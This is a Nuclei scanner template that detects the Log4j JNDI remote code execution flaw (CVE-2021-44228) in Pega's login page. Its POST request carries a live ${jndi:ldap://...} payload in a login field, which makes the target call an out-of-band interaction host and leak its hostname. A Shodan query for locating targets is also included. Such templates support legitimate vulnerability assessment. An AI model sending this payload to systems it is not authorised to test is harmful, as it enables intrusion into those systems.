77 lines
2.3 KiB
YAML
77 lines
2.3 KiB
YAML
id: pega-log4j-rce
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info:
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name: Pega - Remote Code Execution (Apache Log4j)
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author: shaikhyaser
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severity: critical
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description: |
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Pega is susceptible to Log4j JNDI remote code execution. Pega provides a powerful low-code platform that empowers the world's leading enterprises to Build for Change.
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reference:
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- https://docs.pega.com/security-advisory/security-advisory-apache-log4j-zero-day-vulnerability
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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max-request: 2
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shodan-query: title:"Pega"
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tags: cve,cve2021,rce,jndi,log4j,pega,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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str: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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GET /prweb/ HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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- |
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POST {{location}} HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Referer: {{location}}
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Content-Type: application/x-www-form-urlencoded
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pzAuth=guest&UserIdentifier=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&Password=a&pyActivity%3DCode-Security.Login=&lockScreenID=&lockScreenPassword=&newPassword=&confirmNewPassword=
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors:
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- type: kval
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kval:
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- interactsh_ip
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- type: regex
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part: interactsh_request
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- type: kval
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name: location
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part: header_1
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kval:
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- location
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internal: true
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# digest: 4b0a00483046022100a8c547e47591688b68f1ef69472ea75d0346221261bcb7476f9616112ae21cce0221008e05fb7c7fcda169d1386032bfb7113988a43a8edab85883404f0d87005d0c6a:922c64590222798bb761d5b6d8e72950
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